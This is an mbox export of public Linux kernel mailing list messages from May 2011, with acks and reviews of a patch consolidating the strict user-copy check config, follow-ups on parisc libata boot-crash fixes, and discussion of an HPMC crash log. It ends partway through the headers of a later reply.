In-Reply-To: <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3726 gmane.linux.kernel:1139431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3726>

On 5/12/2011 7:50 PM, Stephen Boyd wrote:
> The help text for this config is duplicated across the x86,
> parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
> help text was slightly misleading and should be fixed to state
> that enabling this option isn't a problem when using pre 4.4 gcc.
>
> To simplify the rewording, consolidate the text into
> lib/Kconfig.debug and modify it there to be more explicit about
> when you should say N to this config.
>
> Also, make the text a bit more generic by stating that this
> option enables compile time checks so we can cover architectures
> which emit warnings vs. ones which emit errors. The details of
> how an architecture decided to implement the checks isn't as
> important as the concept of compile time checking of
> copy_from_user() calls.
>
> While we're doing this, remove all the copy_from_user_overflow()
> code that's duplicated many times and place it into lib/ so that
> any architecture supporting this option can get the function for
> free.
>
> ---
>  arch/tile/Kconfig               |    8 +-------
>  arch/tile/include/asm/uaccess.h |    7 ++++++-
>  arch/tile/lib/uaccess.c         |    8 --------

Acked-by: Chris Metcalf <cmetcalf@tilera.com>

-- 
Chris Metcalf, Tilera Corp.
http://www.tilera.com


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 9/9] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Fri, 13 May 2011 09:31:01 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <20110513073101.GD10584@elte.hu>
References: <1305244212-19183-1-git-send-email-sboyd@codeaurora.org>
 <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1305271900 11047 80.91.229.12 (13 May 2011 07:31:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 13 May 2011 07:31:40 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	x86@kernel.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>,
	Arjan van de Ven <arjan@infradead.org>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 13 09:31:33 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QKmqR-0001yr-UM
	for glpp-linux-parisc@lo.gmane.org; Fri, 13 May 2011 09:31:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757443Ab1EMHbb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 May 2011 03:31:31 -0400
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:52531 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757231Ab1EMHba (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 May 2011 03:31:30 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1QKmq1-0003Wa-2s
	from <mingo@elte.hu>; Fri, 13 May 2011 09:31:11 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id D71333E2526; Fri, 13 May 2011 09:31:01 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
User-Agent: Mutt/1.5.20 (2009-08-17)
Received-SPF: neutral (mx2.mail.elte.hu: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-SpamScore: -2.0
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-2.0 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.3.1
	-2.0 BAYES_00               BODY: Bayes spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3727 gmane.linux.kernel:1139516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3727>


* Stephen Boyd <sboyd@codeaurora.org> wrote:

> The help text for this config is duplicated across the x86,
> parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
> help text was slightly misleading and should be fixed to state
> that enabling this option isn't a problem when using pre 4.4 gcc.
> 
> To simplify the rewording, consolidate the text into
> lib/Kconfig.debug and modify it there to be more explicit about
> when you should say N to this config.
> 
> Also, make the text a bit more generic by stating that this
> option enables compile time checks so we can cover architectures
> which emit warnings vs. ones which emit errors. The details of
> how an architecture decided to implement the checks isn't as
> important as the concept of compile time checking of
> copy_from_user() calls.
> 
> While we're doing this, remove all the copy_from_user_overflow()
> code that's duplicated many times and place it into lib/ so that
> any architecture supporting this option can get the function for
> free.
> 
> Cc: Arnd Bergmann <arnd@arndb.de>
> Cc: x86@kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: Arjan van de Ven <arjan@linux.intel.com>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Stephen Rothwell <sfr@canb.auug.org.au>
> Cc: Chris Metcalf <cmetcalf@tilera.com>
> Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
> ---
>  arch/parisc/Kconfig             |    1 +
>  arch/parisc/Kconfig.debug       |   14 --------------
>  arch/s390/Kconfig               |    1 +
>  arch/s390/Kconfig.debug         |   14 --------------
>  arch/s390/lib/Makefile          |    1 -
>  arch/s390/lib/usercopy.c        |    8 --------
>  arch/sparc/lib/Makefile         |    1 -
>  arch/sparc/lib/usercopy.c       |    8 --------
>  arch/tile/Kconfig               |    8 +-------
>  arch/tile/include/asm/uaccess.h |    7 ++++++-
>  arch/tile/lib/uaccess.c         |    8 --------
>  arch/x86/Kconfig                |    1 +
>  arch/x86/Kconfig.debug          |   14 --------------
>  arch/x86/lib/usercopy_32.c      |    6 ------
>  arch/x86/lib/usercopy_64.c      |    6 ------
>  lib/Kconfig.debug               |   18 ++++++++++++++++++
>  lib/Makefile                    |    1 +
>  lib/usercopy.c                  |    8 ++++++++
>  18 files changed, 37 insertions(+), 88 deletions(-)
>  delete mode 100644 arch/s390/lib/usercopy.c
>  delete mode 100644 arch/sparc/lib/usercopy.c
>  create mode 100644 lib/usercopy.c

Very nice!

Acked-by: Ingo Molnar <mingo@elte.hu>

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Fri, 13 May 2011 12:01:58 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1305306118.2611.62.camel@mulgrave.site>
References: <1303673315.5231.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305306129 18516 80.91.229.12 (13 May 2011 17:02:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 13 May 2011 17:02:09 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-ide-owner@vger.kernel.org Fri May 13 19:02:05 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QKvka-00075M-40
	for lnx-linux-ide@lo.gmane.org; Fri, 13 May 2011 19:02:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754839Ab1EMRCC (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Fri, 13 May 2011 13:02:02 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44580 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754255Ab1EMRCB (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Fri, 13 May 2011 13:02:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9B9E38EE0F2;
	Fri, 13 May 2011 10:02:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xiK76Oj6924v; Fri, 13 May 2011 10:02:00 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E4E378EE0EB;
	Fri, 13 May 2011 10:01:59 -0700 (PDT)
In-Reply-To: <1303673315.5231.9.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49522 gmane.linux.ports.parisc:3728
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49522>

On Sun, 2011-04-24 at 14:28 -0500, James Bottomley wrote:
> currently libata-sff is completely ignoring the enabled/disabled status
> of the interfaces.  This is a real problem on parisc because if you
> touch a non responding memory area (i.e. a disabled interface) you crash
> the box.
> 
> Fix by checking the CNTRL bits to see if the port is enabled before
> trying to poke it.

Ping on this.

Since 1/2 is an essential fix to prevent a boot panic on parisc, I can
just take them through the parisc tree.

James


> James
> 
> ---
> 
> James Bottomley (2):
>   pata_cm64x: fix boot crash on parisc
>   libata-sff: prevent irq descriptions for dummy ports
> 
>  drivers/ata/libata-sff.c  |    9 +++++++--
>  drivers/ata/pata_cmd64x.c |   42 ++++++++++++++++++++++++++++++++++++++----
>  include/linux/pci_ids.h   |    2 ++
>  3 files changed, 47 insertions(+), 6 deletions(-)
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Garzik <jeff@garzik.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Sat, 14 May 2011 15:01:31 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <4DCED18B.1070801@garzik.org>
References: <1303673315.5231.9.camel@mulgrave.site> <1305306118.2611.62.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305399705 29906 80.91.229.12 (14 May 2011 19:01:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 14 May 2011 19:01:45 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 14 21:01:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QLK5p-0006eF-DV
	for glpp-linux-parisc@lo.gmane.org; Sat, 14 May 2011 21:01:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754008Ab1ENTBf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 May 2011 15:01:35 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:48956 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753835Ab1ENTBe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 May 2011 15:01:34 -0400
Original-Received: by ywj3 with SMTP id 3so1187918ywj.19
        for <multiple recipients>; Sat, 14 May 2011 12:01:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:sender:message-id:date:from:user-agent
         :mime-version:to:cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=rJqfqLNT48zodo0X9NNdX7v0ZMcUPN8rMoC31N/HtqU=;
        b=K+Xu7yONu2ESCtR/r5yW06rI8AwiiwqQ3DeVcZTj0yFyrI6Rc+d3Ezi9us+X1ZrRDV
         SYPfa+9S+qC21SnC9fHrU7qMOnO6aTRCs7FjwUSRDJD8dWgz50eg0+PteMuYSABdenav
         bfOd+4doQE9HKK1LkLpK1Tk+R2VuYEJAMVMcM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        b=s6t0YOyl6kv5asgkdJU+V6NNt7web7i529Wc53RKq2HZPemu7hkfjEKda+BZS1QVI4
         WEgLfU+wSqWEifQ1Je3WWJKrfMrYdjs7L1YXKy2Uk/kSAc+ccfyPiFP++XzFO9QMrsDF
         cyEtbbT1cffMlG/YomXAHFMpHYVE3Y7gagQxQ=
Original-Received: by 10.147.157.33 with SMTP id j33mr2184386yao.1.1305399693060;
        Sat, 14 May 2011 12:01:33 -0700 (PDT)
Original-Received: from bd.yyz.us (99-173-148-118.lightspeed.rlghnc.sbcglobal.net [99.173.148.118])
        by mx.google.com with ESMTPS id s36sm2598513ano.1.2011.05.14.12.01.31
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 14 May 2011 12:01:31 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc14 Thunderbird/3.1.10
In-Reply-To: <1305306118.2611.62.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3729 gmane.linux.ide:49537
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3729>

On 05/13/2011 01:01 PM, James Bottomley wrote:
> On Sun, 2011-04-24 at 14:28 -0500, James Bottomley wrote:
>> currently libata-sff is completely ignoring the enabled/disabled status
>> of the interfaces.  This is a real problem on parisc because if you
>> touch a non responding memory area (i.e. a disabled interface) you crash
>> the box.
>>
>> Fix by checking the CNTRL bits to see if the port is enabled before
>> trying to poke it.
>
> Ping on this.
>
> Since 1/2 is an essential fix to prevent a boot panic on parisc, I can
> just take them through the parisc tree.

It's in libata-dev.git#upstream and #NEXT (linux-next) at present.

	Jeff



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 9/9] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Fri, 13 May 2011 18:55:09 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <201105131855.10195.arnd@arndb.de>
References: <1305244212-19183-1-git-send-email-sboyd@codeaurora.org> <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305405256 22998 80.91.229.12 (14 May 2011 20:34:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 14 May 2011 20:34:16 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, x86@kernel.org,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 14 22:34:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QLLXM-0006K9-UX
	for glpp-linux-parisc@lo.gmane.org; Sat, 14 May 2011 22:34:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758814Ab1ENUeH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 May 2011 16:34:07 -0400
Original-Received: from moutng.kundenserver.de ([212.227.17.10]:56223 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754508Ab1ENUeF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 May 2011 16:34:05 -0400
Original-Received: from klappe2.localnet (p5B229A80.dip.t-dialin.net [91.34.154.128])
	by mrelayeu.kundenserver.de (node=mreu0) with ESMTP (Nemesis)
	id 0LhRPo-1PzC3I2mfI-00mlAx; Sat, 14 May 2011 22:33:56 +0200
User-Agent: KMail/1.12.2 (Linux/2.6.37; KDE/4.3.2; x86_64; ; )
In-Reply-To: <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
X-Provags-ID: V02:K0:g61RLMrGU1mKM4aHxupBlIjsa/KSkz0G0/YtTZ/pBsG
 4UQVA4wfVIiXoJUKXmAJ+ArOzyECG6Ub2k6pYOL9SClvrrrBca
 MmBnOF10yA4VzLVuIWIR2TG1YKbL89+aRFWSJEiH3TxPE8dz00
 2Ykvqev/u/0vPux0a1xPZrbmm7QwwjJ9nvuzdxB8v29/gcMlnF
 KnPMDqTQmepRRoNF+ByVw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3730 gmane.linux.kernel:1140077
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3730>

On Friday 13 May 2011, Stephen Boyd wrote:
> The help text for this config is duplicated across the x86,
> parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
> help text was slightly misleading and should be fixed to state
> that enabling this option isn't a problem when using pre 4.4 gcc.
> 
> To simplify the rewording, consolidate the text into
> lib/Kconfig.debug and modify it there to be more explicit about
> when you should say N to this config.
> 
> Also, make the text a bit more generic by stating that this
> option enables compile time checks so we can cover architectures
> which emit warnings vs. ones which emit errors. The details of
> how an architecture decided to implement the checks isn't as
> important as the concept of compile time checking of
> copy_from_user() calls.
> 
> While we're doing this, remove all the copy_from_user_overflow()
> code that's duplicated many times and place it into lib/ so that
> any architecture supporting this option can get the function for
> free.
> 
> Cc: Arnd Bergmann <arnd@arndb.de>
> Cc: x86@kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: Arjan van de Ven <arjan@linux.intel.com>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Stephen Rothwell <sfr@canb.auug.org.au>
> Cc: Chris Metcalf <cmetcalf@tilera.com>
> Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>

Thanks for following up on this

Reviewed-by: Arnd Bergmann <arnd@arndb.de>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing Linux 2.6.39-rc's on rp3440
Date: Sun, 15 May 2011 11:18:20 -0400
Organization: nrc.ca
Lines: 52
Approved: news@gmane.org
Message-ID: <20110515151820.GA12449@hiauly1.hia.nrc.ca>
References: <20110514173357.GA8138@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1305472710 13574 80.91.229.12 (15 May 2011 15:18:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 15 May 2011 15:18:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 15 17:18:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QLd5M-0003id-5l
	for glpp-linux-parisc@lo.gmane.org; Sun, 15 May 2011 17:18:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756286Ab1EOPSX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 May 2011 11:18:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1562 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754686Ab1EOPSW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 May 2011 11:18:22 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 56FC44ED6; Sun, 15 May 2011 11:18:20 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110514173357.GA8138@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3731>

On Sat, 14 May 2011, John David Anglin wrote:

> -----------------  Processor 2 HPMC Information - PDC Version: 46.34  ------ 
> 
> Timestamp =   Sat May  14 14:56:22 GMT 2011    (20:11:05:14:14:56:22)
> 
> HPMC Chassis Codes
> 
>        Chassis Code        Extension
>        ------------        ---------
>        0xe800035c00e00000 0x0000000000000000
>        0x57000f7300e00000 0x8040400000000000
>        0x5600100b00e00000 0x0000000000000194
>        0x5600106400e00000 0xfffffff0f0438e70
> 
...
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11  0000000000004c26  0000000000000000  00000000000000c0  000000000000003f
> 12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
> 16-19  000001959bf4e395  0000000000000000  0000000000000000  0000000000000000
> 20-23  0000000000000000  0000000000000000  000000ff0804f900  8000000000000000
> 24-27  0000000000577000  000000003f82a000  fffffeffffffffff  00000000400016c0
> 28-31  0000000040002540  ffffffdfffffffff  000000007dfec000  ffffffdfffffffff

If I understand correctly, CR 22 is the interruption processor status
register.  I and Q are off, so a branch to 0 must have occurred in a ISR.

> ------------  I/O Module Error Log Information  ------------
> 
> IO Subsystem Log Entries
> 
> Found 7 IOC errors
> Found 7 PCI Bus errors
> ------------------------------------------------

It appears the format of these messages uses the structures described in
the Intel Itanium Processor Family System Abstraction Layer Specification:
http://download.intel.com/design/itanium/specupdt/245359.pdf

Unfortunately, the bus errors seem to be OEM specific...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 16 May 2011 00:18:25 +0200 (CEST)
Lines: 76
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1105160017350.21626@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz> <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
 <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com> <alpine.DEB.2.00.1105100025300.13325@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1305497915 7505 80.91.229.12 (15 May 2011 22:18:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 15 May 2011 22:18:35 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon May 16 00:18:30 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QLjdt-0006fJ-Sb
	for glpi-linux-ia64-2@lo.gmane.org; Mon, 16 May 2011 00:18:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759529Ab1EOWS1 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Sun, 15 May 2011 18:18:27 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:35709 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759433Ab1EOWS0 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Sun, 15 May 2011 18:18:26 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 4C3EA9805D; Mon, 16 May 2011 00:18:25 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
